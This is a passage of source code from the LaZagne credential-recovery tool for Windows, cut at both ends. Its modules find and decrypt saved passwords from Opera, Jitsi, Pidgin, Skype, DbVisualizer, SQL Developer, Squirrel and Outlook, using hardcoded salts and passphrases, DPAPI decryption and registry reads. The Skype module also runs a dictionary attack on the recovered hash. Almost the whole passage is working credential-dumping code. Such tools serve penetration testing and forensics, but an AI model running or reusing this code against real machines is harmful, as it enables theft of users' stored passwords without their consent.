180 | def parse_results(self, passwords):
181 |
182 | cpt = 0
183 | values = {}
184 | pwdFound = []
185 | for password in passwords:
186 |
187 | # date (begin of the sensitive data)
188 | match=re.search(r'(\d+-\d+-\d+)', password)
189 | if match:
190 | values = {}
191 | cpt = 0
192 | tmp_cpt = 0
193 |
194 | # after finding 2 urls
195 | if cpt == 2:
196 | tmp_cpt += 1
197 | if tmp_cpt == 2:
198 | values['User'] = password
199 | print 'User:' + password
200 | elif tmp_cpt == 4:
201 | values['Password'] = password
202 |
203 | # url
204 | match=re.search(r'^http', password)
205 | if match:
206 | cpt +=1
207 | if cpt == 1:
208 | tmp_url = password
209 | elif cpt == 2:
210 | values['URL'] = tmp_url
211 | pwdFound.append(values)
212 |
213 | # print the results
214 | print_output("Opera", pwdFound)
215 |
216 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/chats/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/chats/__init__.py
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/chats/jitsi.py:
--------------------------------------------------------------------------------
1 | import hashlib, os, re
2 | from base64 import b64decode
3 | import binascii, array
4 | from Crypto.Cipher import AES
5 | from config.constant import *
6 | from config.write_output import print_output, print_debug
7 | from config.header import Header
8 | from config.moduleInfo import ModuleInfo
9 |
10 | # From https://github.com/mitsuhiko/python-pbkdf2
11 | from pbkdf2 import pbkdf2_bin
12 |
13 | class Jitsi(ModuleInfo):
14 | def __init__(self):
15 | options = {'command': '-j', 'action': 'store_true', 'dest': 'jitsi', 'help': 'jitsi'}
16 | suboptions = [{'command': '-ma', 'action': 'store', 'dest': 'master_pwd', 'help': 'enter the master password manually', 'title': 'Advanced jitsi option'}]
17 | ModuleInfo.__init__(self, 'jitsi', 'chats', options, suboptions)
18 |
19 | self.keylen = 16
20 | self.iterations = 1024
21 | self.padding = '\f'
22 | self.account_id = ''
23 | self.master_password_used = False
24 | self.masterpass = ' '
25 |
26 | def get_salt(self):
27 | salt_array = [12, 10, 15, 14, 11, 14, 14, 15]
28 | salt = array.array('b', salt_array)
29 | hexsalt = binascii.hexlify(salt)
30 | return binascii.unhexlify(hexsalt)
31 |
32 | def get_path(self):
33 | if 'APPDATA' in os.environ:
34 | directory = os.environ.get('APPDATA') + os.sep + 'Jitsi' + os.sep + 'sip-communicator.properties'
35 | if os.path.exists(directory):
36 | return directory
37 | else:
38 | return 'JITSI_NOT_EXISTS'
39 | else:
40 | return 'Error'
41 |
42 | def get_info(self, file_properties):
43 | values = {}
44 |
45 | f = open(file_properties,'r')
46 | line = f.readline()
47 |
48 | cpt = 0
49 | pwdFound = []
50 | while line:
51 | if 'ACCOUNT_UID' in line:
52 | m = re.match(r"(.*)ACCOUNT_UID=(.*$)",line)
53 | if m:
54 | # password found
55 | if cpt > 0:
56 | pwdFound.append(values)
57 | cpt = 0
58 |
59 | values = {}
60 | values['Account id'] = m.group(2)
61 | cpt += 1
62 |
63 | if 'ENCRYPTED_PASSWORD' in line:
64 | m = re.match(r"(.*)ENCRYPTED_PASSWORD=(.*$)",line)
65 | if m:
66 | values['Password'] = self.decrypt_password(m.group(2))
67 | cpt += 2
68 |
69 | if 'credentialsstorage.MASTER' in line:
70 | m = re.match(r"(.*)credentialsstorage.MASTER=(.*$)",line)
71 | if m:
72 | values['Masterpass used'] = True
73 | self.master_password_used = True
74 |
75 | line = f.readline()
76 |
77 | if len(values) != 0:
78 | pwdFound.append(values)
79 |
80 | # print the results
81 | print_output('Jitsi', pwdFound)
82 | f.close()
83 |
84 | def decrypt_password(self, encrypted_pass):
85 | salt = self.get_salt()
86 |
87 | if self.master_password_used and constant.jitsi_masterpass:
88 | self.masterpass = constant.jitsi_masterpass
89 | elif self.master_password_used and not constant.jitsi_masterpass:
90 | return '\n[!] A master password is used, the password cannot be decrypted. Provide a masterpassword using the -ma option'
91 |
92 | # --- Decrypting the password ---
93 | # generate hash
94 | secret = pbkdf2_bin(bytes(self.masterpass), salt, self.iterations, self.keylen, hashfunc=hashlib.sha1)
95 |
96 | # decrypt password
97 | cipher = AES.new(secret)
98 | plaintext = cipher.decrypt(b64decode(encrypted_pass)).rstrip(self.padding)
99 |
100 | return plaintext.strip()
101 |
102 | # main function
103 | def run(self):
104 | # print title
105 | Header().title_info('Jitsi')
106 |
107 | file_properties = self.get_path()
108 | if file_properties == 'Error':
109 | print_debug('ERROR', 'The APPDATA environment variable is not defined')
110 |
111 | elif file_properties == 'JITSI_NOT_EXISTS':
112 | print_debug('INFO', 'Jitsi not installed.')
113 |
114 | else:
115 | self.get_info(file_properties)
116 |
117 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/chats/pbkdf2.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """
3 | pbkdf2
4 | ~~~~~~
5 |
6 | This module implements pbkdf2 for Python. It also has some basic
7 | tests that ensure that it works. The implementation is straightforward
8 | and uses stdlib only stuff and can be easily be copy/pasted into
9 | your favourite application.
10 |
11 | Use this as replacement for bcrypt that does not need a c implementation
12 | of a modified blowfish crypto algo.
13 |
14 | Example usage:
15 |
16 | >>> pbkdf2_hex('what i want to hash', 'the random salt')
17 | 'fa7cc8a2b0a932f8e6ea42f9787e9d36e592e0c222ada6a9'
18 |
19 | How to use this:
20 |
21 | 1. Use a constant time string compare function to compare the stored hash
22 | with the one you're generating::
23 |
24 | def safe_str_cmp(a, b):
25 | if len(a) != len(b):
26 | return False
27 | rv = 0
28 | for x, y in izip(a, b):
29 | rv |= ord(x) ^ ord(y)
30 | return rv == 0
31 |
32 | 2. Use `os.urandom` to generate a proper salt of at least 8 byte.
33 | Use a unique salt per hashed password.
34 |
35 | 3. Store ``algorithm$salt:costfactor$hash`` in the database so that
36 | you can upgrade later easily to a different algorithm if you need
37 | one. For instance ``PBKDF2-256$thesalt:10000$deadbeef...``.
38 |
39 |
40 | :copyright: (c) Copyright 2011 by Armin Ronacher.
41 | :license: BSD, see LICENSE for more details.
42 | """
43 | import hmac
44 | import hashlib
45 | from struct import Struct
46 | from operator import xor
47 | from itertools import izip, starmap
48 |
49 |
50 | _pack_int = Struct('>I').pack
51 |
52 |
53 | def pbkdf2_hex(data, salt, iterations=1000, keylen=24, hashfunc=None):
54 | """Like :func:`pbkdf2_bin` but returns a hex encoded string."""
55 | return pbkdf2_bin(data, salt, iterations, keylen, hashfunc).encode('hex')
56 |
57 |
58 | def pbkdf2_bin(data, salt, iterations=1000, keylen=24, hashfunc=None):
59 | """Returns a binary digest for the PBKDF2 hash algorithm of `data`
60 | with the given `salt`. It iterates `iterations` time and produces a
61 | key of `keylen` bytes. By default SHA-1 is used as hash function,
62 | a different hashlib `hashfunc` can be provided.
63 | """
64 | hashfunc = hashfunc or hashlib.sha1
65 | mac = hmac.new(data, None, hashfunc)
66 | def _pseudorandom(x, mac=mac):
67 | h = mac.copy()
68 | h.update(x)
69 | return map(ord, h.digest())
70 | buf = []
71 | for block in xrange(1, -(-keylen // mac.digest_size) + 1):
72 | rv = u = _pseudorandom(salt + _pack_int(block))
73 | for i in xrange(iterations - 1):
74 | u = _pseudorandom(''.join(map(chr, u)))
75 | rv = starmap(xor, izip(rv, u))
76 | buf.extend(rv)
77 | return ''.join(map(chr, buf))[:keylen]
78 |
79 |
80 | def test():
81 | failed = []
82 | def check(data, salt, iterations, keylen, expected):
83 | rv = pbkdf2_hex(data, salt, iterations, keylen)
84 | if rv != expected:
85 | print 'Test failed:'
86 | print ' Expected: %s' % expected
87 | print ' Got: %s' % rv
88 | print ' Parameters:'
89 | print ' data=%s' % data
90 | print ' salt=%s' % salt
91 | print ' iterations=%d' % iterations
92 | print
93 | failed.append(1)
94 |
95 | # From RFC 6070
96 | check('password', 'salt', 1, 20,
97 | '0c60c80f961f0e71f3a9b524af6012062fe037a6')
98 | check('password', 'salt', 2, 20,
99 | 'ea6c014dc72d6f8ccd1ed92ace1d41f0d8de8957')
100 | check('password', 'salt', 4096, 20,
101 | '4b007901b765489abead49d926f721d065a429c1')
102 | check('passwordPASSWORDpassword', 'saltSALTsaltSALTsaltSALTsaltSALTsalt',
103 | 4096, 25, '3d2eec4fe41c849b80c8d83662c0e44a8b291a964cf2f07038')
104 | check('pass\x00word', 'sa\x00lt', 4096, 16,
105 | '56fa6aa75548099dcc37d7f03425e0c3')
106 | # This one is from the RFC but it just takes for ages
107 | ##check('password', 'salt', 16777216, 20,
108 | ## 'eefe3d61cd4da4e4e9945b3d6ba2158c2634e984')
109 |
110 | # From Crypt-PBKDF2
111 | check('password', 'ATHENA.MIT.EDUraeburn', 1, 16,
112 | 'cdedb5281bb2f801565a1122b2563515')
113 | check('password', 'ATHENA.MIT.EDUraeburn', 1, 32,
114 | 'cdedb5281bb2f801565a1122b25635150ad1f7a04bb9f3a333ecc0e2e1f70837')
115 | check('password', 'ATHENA.MIT.EDUraeburn', 2, 16,
116 | '01dbee7f4a9e243e988b62c73cda935d')
117 | check('password', 'ATHENA.MIT.EDUraeburn', 2, 32,
118 | '01dbee7f4a9e243e988b62c73cda935da05378b93244ec8f48a99e61ad799d86')
119 | check('password', 'ATHENA.MIT.EDUraeburn', 1200, 32,
120 | '5c08eb61fdf71e4e4ec3cf6ba1f5512ba7e52ddbc5e5142f708a31e2e62b1e13')
121 | check('X' * 64, 'pass phrase equals block size', 1200, 32,
122 | '139c30c0966bc32ba55fdbf212530ac9c5ec59f1a452f5cc9ad940fea0598ed1')
123 | check('X' * 65, 'pass phrase exceeds block size', 1200, 32,
124 | '9ccad6d468770cd51b10e6a68721be611a8b4d282601db3b36be9246915ec82a')
125 |
126 | raise SystemExit(bool(failed))
127 |
128 |
129 | if __name__ == '__main__':
130 | test()
131 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/chats/pidgin.py:
--------------------------------------------------------------------------------
1 | import xml.etree.cElementTree as ET
2 | import os
3 | from config.constant import *
4 | from config.write_output import print_output, print_debug
5 | from config.header import Header
6 | from config.moduleInfo import ModuleInfo
7 |
8 | class Pidgin(ModuleInfo):
9 | def __init__(self):
10 | options = {'command': '-p', 'action': 'store_true', 'dest': 'pidgin', 'help': 'pidgin'}
11 | ModuleInfo.__init__(self, 'pidgin', 'chats', options)
12 |
13 | def run(self):
14 | # print title
15 | Header().title_info('Pidgin')
16 |
17 | if 'APPDATA' in os.environ:
18 | directory = os.environ['APPDATA'] + '\.purple'
19 | path = os.path.join(directory, 'accounts.xml')
20 | else:
21 | print_debug('ERROR', 'The APPDATA environment variable is not defined.')
22 | return
23 |
24 | if os.path.exists(path):
25 | tree = ET.ElementTree(file=path)
26 |
27 | root = tree.getroot()
28 | accounts = root.getchildren()
29 | pwdFound = []
30 | for a in accounts:
31 | values = {}
32 | aa = a.getchildren()
33 | noPass = True
34 |
35 | for tag in aa:
36 | cpt = 0
37 | if tag.tag == 'name':
38 | cpt = 1
39 | values['Login'] = tag.text
40 |
41 | if tag.tag == 'password':
42 | values['Password'] = tag.text
43 | noPass = False
44 |
45 | if noPass == False:
46 | pwdFound.append(values)
47 |
48 | # print the results
49 | print_output("Pidgin", pwdFound)
50 | else:
51 | print_debug('INFO', 'Pidgin not installed.')
52 |
53 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/chats/skype.py:
--------------------------------------------------------------------------------
1 | from Crypto.Cipher import AES
2 | import xml.etree.cElementTree as ET
3 | import win32con, win32api, win32crypt
4 | import base64, hashlib, os
5 | import binascii, struct
6 | from config.constant import *
7 | from config.write_output import print_output, print_debug
8 | from config.header import Header
9 | from config.moduleInfo import ModuleInfo
10 | from config.dico import get_dico
11 |
12 | class Skype(ModuleInfo):
13 | def __init__(self):
14 | options = {'command': '-s', 'action': 'store_true', 'dest': 'skype', 'help': 'skype'}
15 | ModuleInfo.__init__(self, 'skype', 'chats', options)
16 |
17 | def aes_encrypt(self, message, passphrase):
18 | IV = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
19 | aes = AES.new(passphrase, AES.MODE_CBC, IV)
20 | return aes.encrypt(message)
21 |
22 | # get value used to build the salt
23 | def get_regkey(self):
24 | try:
25 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
26 | keyPath = 'Software\\Skype\\ProtectedStorage'
27 |
28 | try:
29 | hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
30 | except Exception,e:
31 | print_debug('DEBUG', '{0}'.format(e))
32 | return ''
33 |
34 | num = win32api.RegQueryInfoKey(hkey)[1]
35 | k = win32api.RegEnumValue(hkey, 0)
36 |
37 | if k:
38 | key = k[1]
39 | return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
40 | except Exception,e:
41 | print_debug('DEBUG', '{0}'.format(e))
42 | return 'failed'
43 |
44 | # get hash from configuration file
45 | def get_hash_credential(self, xml_file):
46 | tree = ET.ElementTree(file=xml_file)
47 | encrypted_hash = tree.find('Lib/Account/Credentials3')
48 |
49 | if encrypted_hash != None:
50 | return encrypted_hash.text
51 | else:
52 | return 'failed'
53 |
54 | # decrypt hash to get the md5 to bruteforce
55 | def get_md5_hash(self, enc_hex, key):
56 | # convert hash from hex to binary
57 | enc_binary = binascii.unhexlify(enc_hex)
58 |
59 | # retrieve the salt
60 | salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest()
61 |
62 | # encrypt value used with the XOR operation
63 | aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16]
64 |
65 | # XOR operation
66 | decrypted = []
67 | for d in range(16):
68 | decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0])
69 |
70 | # cast the result byte
71 | tmp = ''
72 | for dec in decrypted:
73 | tmp = tmp + struct.pack(">I", dec).strip('\x00')
74 |
75 | # byte to hex
76 | return binascii.hexlify(tmp)
77 |
78 | def dictionary_attack(self, login, md5):
79 | wordlist = get_dico()
80 | for word in wordlist:
81 | hash = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest()
82 | if hash == md5:
83 | return word
84 | return False
85 |
86 | # main function
87 | def run(self):
88 | # print title
89 | Header().title_info('Skype')
90 |
91 | if 'APPDATA' in os.environ:
92 | directory = os.environ['APPDATA'] + '\Skype'
93 |
94 | if os.path.exists(directory):
95 | # retrieve the key used to build the salt
96 | key = self.get_regkey()
97 | if key == 'failed':
98 | print_debug('ERROR', 'The salt has not been retrieved')
99 | else:
100 | pwdFound = []
101 | for d in os.listdir(directory):
102 | if os.path.exists(directory + os.sep + d + os.sep + 'config.xml'):
103 | values = {}
104 |
105 | try:
106 | values['username'] = d
107 |
108 | # get encrypted hash from the config file
109 | enc_hex = self.get_hash_credential(directory + os.sep + d + os.sep + 'config.xml')
110 |
111 | if enc_hex == 'failed':
112 | print_debug('WARNING', 'No credential stored on the config.xml file.')
113 | else:
114 | # decrypt the hash to get the md5 to brue force
115 | values['hash_md5'] = self.get_md5_hash(enc_hex, key)
116 | values['shema to bruteforce'] = values['username'] + '\\nskyper\\n'
117 |
118 | # Try a dictionary attack on the hash
119 | password = self.dictionary_attack(values['username'], values['hash_md5'])
120 | if password:
121 | values['password'] = password
122 |
123 | pwdFound.append(values)
124 | except Exception,e:
125 | print_debug('DEBUG', '{0}'.format(e))
126 | # print the results
127 | print_output("Skype", pwdFound)
128 | else:
129 | print_debug('INFO', 'Skype not installed.')
130 | else:
131 | print_debug('ERROR', 'The APPDATA environment variable is not defined.')
132 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/databases/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/databases/__init__.py
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/databases/dbvis.py:
--------------------------------------------------------------------------------
1 | from Crypto.Hash import MD5
2 | from Crypto.Cipher import DES
3 | import binascii, array, hashlib
4 | import base64, re, os
5 | import xml.etree.cElementTree as ET
6 |
7 | from config.write_output import print_output, print_debug
8 | from config.constant import *
9 | from config.header import Header
10 | from config.moduleInfo import ModuleInfo
11 |
12 | class Dbvisualizer(ModuleInfo):
13 | def __init__(self):
14 | options = {'command': '-d', 'action': 'store_true', 'dest': 'dbvis', 'help': 'dbvisualizer'}
15 | ModuleInfo.__init__(self, 'dbvis', 'database', options)
16 |
17 | # ---- functions used to decrypt the password ----
18 | def get_salt(self):
19 | salt_array = [-114,18,57,-100,7,114,111,90]
20 | salt = array.array('b', salt_array)
21 | hexsalt = binascii.hexlify(salt)
22 | return binascii.unhexlify(hexsalt)
23 |
24 | def get_iteration(self):
25 | return 10
26 |
27 | def get_derived_key(self, password, salt, count):
28 | key = bytearray(password) + salt
29 |
30 | for i in range(count):
31 | m = hashlib.md5(key)
32 | key = m.digest()
33 | return (key[:8], key[8:])
34 |
35 | def decrypt(self, salt, msg, password):
36 | enc_text = base64.b64decode(msg)
37 |
38 | (dk, iv) = self.get_derived_key(password, salt, self.get_iteration())
39 | crypter = DES.new(dk, DES.MODE_CBC, iv)
40 | text = crypter.decrypt(enc_text)
41 | return re.sub(r'[\x01-\x08]','',text)
42 |
43 | def get_passphrase(self):
44 | return 'qinda'
45 |
46 | # ---- end of the functions block ----
47 |
48 | def get_infos(self, path, passphrase, salt):
49 | xml_file = path + os.sep + 'config70/dbvis.xml'
50 |
51 | if os.path.exists(xml_file):
52 | tree = ET.ElementTree(file=xml_file)
53 |
54 | pwdFound = []
55 | for e in tree.findall('Databases/Database'):
56 | values = {}
57 | try:
58 | values['Connection Name'] = e.find('Alias').text
59 | except:
60 | pass
61 |
62 | try:
63 | values['Userid'] = e.find('Userid').text
64 | except:
65 | pass
66 |
67 | try:
68 | ciphered_password = e.find('Password').text
69 | try:
70 | password = self.decrypt(salt, ciphered_password, passphrase)
71 | values['Password'] = password
72 | passwordFound = True
73 | except:
74 | pass
75 | except:
76 | pass
77 |
78 | try:
79 | values['Driver'] = e.find('UrlVariables//Driver').text.strip()
80 | except:
81 | pass
82 |
83 | try:
84 | elem = e.find('UrlVariables')
85 | for ee in elem.getchildren():
86 | for ele in ee.getchildren():
87 | if 'Server' == ele.attrib['UrlVariableName']:
88 | values['Server'] = str(ele.text)
89 | if 'Port' == ele.attrib['UrlVariableName']:
90 | values['Port'] = str(ele.text)
91 | if 'SID' == ele.attrib['UrlVariableName']:
92 | values['SID'] = str(ele.text)
93 | except:
94 | pass
95 |
96 | if len(values) > 0:
97 | pwdFound.append(values)
98 |
99 | # print the results
100 | print_output("DbVisualizer", pwdFound)
101 |
102 | def get_mainPath(self):
103 | if 'HOMEPATH' in os.environ:
104 | path = os.environ['HOMEPATH'] + os.sep + '.dbvis'
105 | if os.path.exists(path):
106 | return path
107 | else:
108 | return 'DBVIS_NOT_EXISTS'
109 | else:
110 | return 'var_Env_Not_Found'
111 |
112 | def run(self):
113 | # print title
114 | Header().title_info('Dbvisualizer')
115 |
116 | mainPath = self.get_mainPath()
117 |
118 | if mainPath == 'DBVIS_NOT_EXISTS':
119 | print_debug('INFO', 'Dbvisualizer not installed.')
120 |
121 | elif mainPath == 'var_Env_Not_Found':
122 | print_debug('ERROR', 'The HOMEPATH environment variable is not defined.')
123 |
124 | else:
125 | passphrase = self.get_passphrase()
126 |
127 | salt = self.get_salt()
128 | self.get_infos(mainPath, passphrase, salt)
129 |
130 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/databases/sqldeveloper.py:
--------------------------------------------------------------------------------
1 | import binascii, base64, array
2 | from Crypto.Cipher import DES
3 | import hashlib, re, os
4 | import xml.etree.cElementTree as ET
5 | from config.constant import *
6 | from config.write_output import print_output, print_debug
7 | from config.header import Header
8 | from config.moduleInfo import ModuleInfo
9 |
10 | class SQLDeveloper(ModuleInfo):
11 | def __init__(self):
12 | options = {'command': '-s', 'action': 'store_true', 'dest': 'sqldeveloper', 'help': 'sqldeveloper'}
13 | ModuleInfo.__init__(self, 'sqldeveloper', 'database', options)
14 |
15 | def get_salt(self):
16 | salt_array = [5, 19, -103, 66, -109, 114, -24, -83]
17 | salt = array.array('b', salt_array)
18 | hexsalt = binascii.hexlify(salt)
19 | return binascii.unhexlify(hexsalt)
20 |
21 | def get_iteration(self):
22 | return 42
23 |
24 | def get_derived_key(self, password, salt, count):
25 | key = bytearray(password) + salt
26 | for i in range(count):
27 | m = hashlib.md5(key)
28 | key = m.digest()
29 | return (key[:8], key[8:])
30 |
31 | def decrypt(self, salt, msg, password):
32 | enc_text = base64.b64decode(msg)
33 | (dk, iv) = self.get_derived_key(password, salt, self.get_iteration())
34 | crypter = DES.new(dk, DES.MODE_CBC, iv)
35 | text = crypter.decrypt(enc_text)
36 | return re.sub(r'[\x01-\x08]','',text)
37 |
38 | def get_mainPath(self):
39 | if 'APPDATA' in os.environ:
40 | directory = os.environ.get('APPDATA') + os.sep + 'SQL Developer'
41 | if os.path.exists(directory):
42 | for d in os.listdir(directory):
43 | if d.startswith('system'):
44 | directory += os.sep + d
45 | return directory
46 | return 'SQL_NO_PASSWD'
47 | else:
48 | return 'SQL_NOT_EXISTS'
49 | else:
50 | return 'Error'
51 |
52 | def get_passphrase(self, path):
53 | for p in os.listdir(path):
54 | if p.startswith('o.sqldeveloper.12'):
55 | path += os.sep + p
56 | break
57 |
58 | xml_file = path + os.sep + 'product-preferences.xml'
59 | if os.path.exists(xml_file):
60 | tree = ET.ElementTree(file=xml_file)
61 | for elem in tree.iter():
62 | if 'n' in elem.attrib.keys():
63 | if elem.attrib['n'] == 'db.system.id':
64 | return elem.attrib['v']
65 | return 'Not_Found'
66 | else:
67 | return 'xml_Not_Found'
68 |
69 | def get_infos(self, path, passphrase, salt):
70 | for p in os.listdir(path):
71 | if p.startswith('o.jdeveloper.db.connection'):
72 | path += os.sep + p
73 | break
74 |
75 | xml_file = path + os.sep + 'connections.xml'
76 |
77 | if os.path.exists(xml_file):
78 | tree = ET.ElementTree(file=xml_file)
79 | pwdFound = []
80 | values = {}
81 | for elem in tree.iter():
82 | if 'addrType' in elem.attrib.keys():
83 | if elem.attrib['addrType'] == 'sid':
84 | for e in elem.getchildren():
85 | values['sid'] = e.text
86 |
87 | elif elem.attrib['addrType'] == 'port':
88 | for e in elem.getchildren():
89 | values['port'] = e.text
90 |
91 | elif elem.attrib['addrType'] == 'user':
92 | for e in elem.getchildren():
93 | values['user'] = e.text
94 |
95 | elif elem.attrib['addrType'] == 'ConnName':
96 | for e in elem.getchildren():
97 | values['Connection Name'] = e.text
98 |
99 | elif elem.attrib['addrType'] == 'customUrl':
100 | for e in elem.getchildren():
101 | values['custom Url'] = e.text
102 |
103 | elif elem.attrib['addrType'] == 'SavePassword':
104 | for e in elem.getchildren():
105 | values['SavePassword'] = e.text
106 |
107 | elif elem.attrib['addrType'] == 'hostname':
108 | for e in elem.getchildren():
109 | values['hostname'] = e.text
110 |
111 | elif elem.attrib['addrType'] == 'password':
112 | for e in elem.getchildren():
113 | pwd = self.decrypt(salt, e.text, passphrase)
114 | values['password'] = pwd
115 |
116 | elif elem.attrib['addrType'] == 'driver':
117 | for e in elem.getchildren():
118 | values['driver'] = e.text
119 |
120 | # password found
121 | pwdFound.append(values)
122 |
123 | # print the results
124 | print_output("SQL Developer", pwdFound)
125 | else:
126 | print_debug('ERROR', 'The xml file connections.xml containing the passwords has not been found.')
127 |
128 | def run(self):
129 | # print title
130 | Header().title_info('SQL Developer')
131 |
132 | mainPath = self.get_mainPath()
133 | if mainPath == 'Error':
134 | print_debug('ERROR', 'The APPDATA environment variable is not defined.')
135 |
136 | elif mainPath == 'SQL_NOT_EXISTS':
137 | print_debug('INFO','SQL Developer not installed.')
138 |
139 | elif mainPath == 'SQL_NO_PASSWD':
140 | print_debug('INFO', 'No passwords found.')
141 |
142 | else:
143 | passphrase = self.get_passphrase(mainPath)
144 | if passphrase == 'Not_Found':
145 | print_debug('WARNING', 'The passphrase used to encrypt has not been found.')
146 |
147 | elif passphrase == 'xml_Not_Found':
148 | print_debug('WARNING', 'The xml file containing the passphrase has not been found.')
149 |
150 | else:
151 | salt = self.get_salt()
152 | self.get_infos(mainPath, passphrase, salt)
153 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/databases/squirrel.py:
--------------------------------------------------------------------------------
1 | import xml.etree.cElementTree as ET
2 | import os
3 | from config.write_output import print_output, print_debug
4 | from config.constant import *
5 | from config.header import Header
6 | from config.moduleInfo import ModuleInfo
7 |
8 | class Squirrel(ModuleInfo):
9 | def __init__(self):
10 | options = {'command': '-q', 'action': 'store_true', 'dest': 'squirrel', 'help': 'squirrel'}
11 | ModuleInfo.__init__(self, 'squirrel', 'database', options)
12 |
13 | def get_path(self):
14 | if 'HOMEPATH' in os.environ:
15 | path = os.environ['HOMEPATH'] + os.sep + '.squirrel-sql'
16 | if os.path.exists(path):
17 | return path
18 | else:
19 | return 'Not_Found'
20 | else:
21 | return 'var_Env_Not_Found'
22 |
23 | def parse_xml(self, xml_file):
24 | tree = ET.ElementTree(file=xml_file)
25 | pwdFound = []
26 | for elem in tree.iter('Bean'):
27 | values = {}
28 | for e in elem:
29 | if e.tag == 'name':
30 | values['name'] = e.text
31 |
32 | elif e.tag == 'url':
33 | values['url'] = e.text
34 |
35 | elif e.tag == 'userName':
36 | values['userName'] = e.text
37 |
38 | elif e.tag == 'password':
39 | values['password'] = e.text
40 |
41 | if len(values):
42 | pwdFound.append(values)
43 |
44 | # print the results
45 | print_output("Squirrel", pwdFound)
46 |
47 | # Main function
48 | def run(self):
49 | # print title
50 | Header().title_info('Squirrel')
51 |
52 | path = self.get_path()
53 | if path == 'Not_Found':
54 | print_debug('INFO', 'Squirrel not installed')
55 | elif path == 'var_Env_Not_Found':
56 | print_debug('ERROR', 'The HOMEPATH environment variable is not defined.')
57 | else:
58 | path += os.sep + 'SQLAliases23.xml'
59 | if os.path.exists(path):
60 | self.parse_xml(path)
61 | else:
62 | print_debug('WARNING', 'xml fil SQLAliases23.xml containing passwords has not be found')
63 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/mails/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/mails/__init__.py
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/mails/outlook.py:
--------------------------------------------------------------------------------
1 | import win32api, win32con, win32crypt
2 | from config.write_output import print_output, print_debug
3 | from config.constant import *
4 | from config.header import Header
5 | from config.moduleInfo import ModuleInfo
6 |
7 | class Outlook(ModuleInfo):
8 | def __init__(self):
9 | options = {'command': '-o', 'action': 'store_true', 'dest': 'outlook', 'help': 'outlook - IMAP, POP3, HTTP, SMTP, LDPAP (not Exchange)'}
10 | ModuleInfo.__init__(self, 'outlook', 'mails', options)
11 |
12 | def run(self):
13 | # print title
14 | Header().title_info('Outlook')
15 |
16 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
17 | keyPath = 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook'
18 |
19 | try:
20 | hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
21 | except Exception,e:
22 | print_debug('DEBUG', '{0}'.format(e))
23 | print_debug('WARNING', 'Outlook not installed.\nAn error occurs retrieving the registry key.\nKey = %s' % keyPath)
24 | return
25 |
26 | num = win32api.RegQueryInfoKey(hkey)[0]
27 | pwdFound = []
28 | for x in range(0, num):
29 | name = win32api.RegEnumKey(hkey, x)
30 | skey = win32api.RegOpenKey(hkey, name, 0, accessRead)
31 |
32 | num_skey = win32api.RegQueryInfoKey(skey)[0]
33 | if num_skey != 0:
34 | for y in range(0, num_skey):
35 | name_skey = win32api.RegEnumKey(skey, y)
36 | sskey = win32api.RegOpenKey(skey, name_skey, 0, accessRead)
37 | num_sskey = win32api.RegQueryInfoKey(sskey)[1]
38 | for z in range(0, num_sskey):
39 | k = win32api.RegEnumValue(sskey, z)
40 | if 'password' in k[0].lower():
41 | values = self.retrieve_info(sskey, name_skey)
42 | # write credentials into a text file
43 | if len(values) != 0:
44 | pwdFound.append(values)
45 |
46 | # print the results
47 | print_output("Outlook", pwdFound)
48 |
49 | def retrieve_info(self, hkey, name_key):
50 | values = {}
51 | num = win32api.RegQueryInfoKey(hkey)[1]
52 | for x in range(0, num):
53 | k = win32api.RegEnumValue(hkey, x)
54 | if 'password' in k[0].lower():
55 | try:
56 | password = win32crypt.CryptUnprotectData(k[1][1:], None, None, None, 0)[1]
57 | values[k[0]] = password.decode('utf16')
58 | except Exception,e:
59 | print_debug('DEBUG', '{0}'.format(e))
60 | values[k[0]] = 'N/A'
61 | else:
62 | try:
63 | values[k[0]] = str(k[1]).decode('utf16')
64 | except:
65 | values[k[0]] = str(k[1])
66 | return values
67 |
68 |
69 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/svn/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/svn/__init__.py
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/svn/tortoise.py:
--------------------------------------------------------------------------------
1 | import sqlite3, win32crypt
2 | import sys, os, platform, base64
3 | from config.write_output import print_output, print_debug
4 | from config.constant import *
5 | from config.header import Header
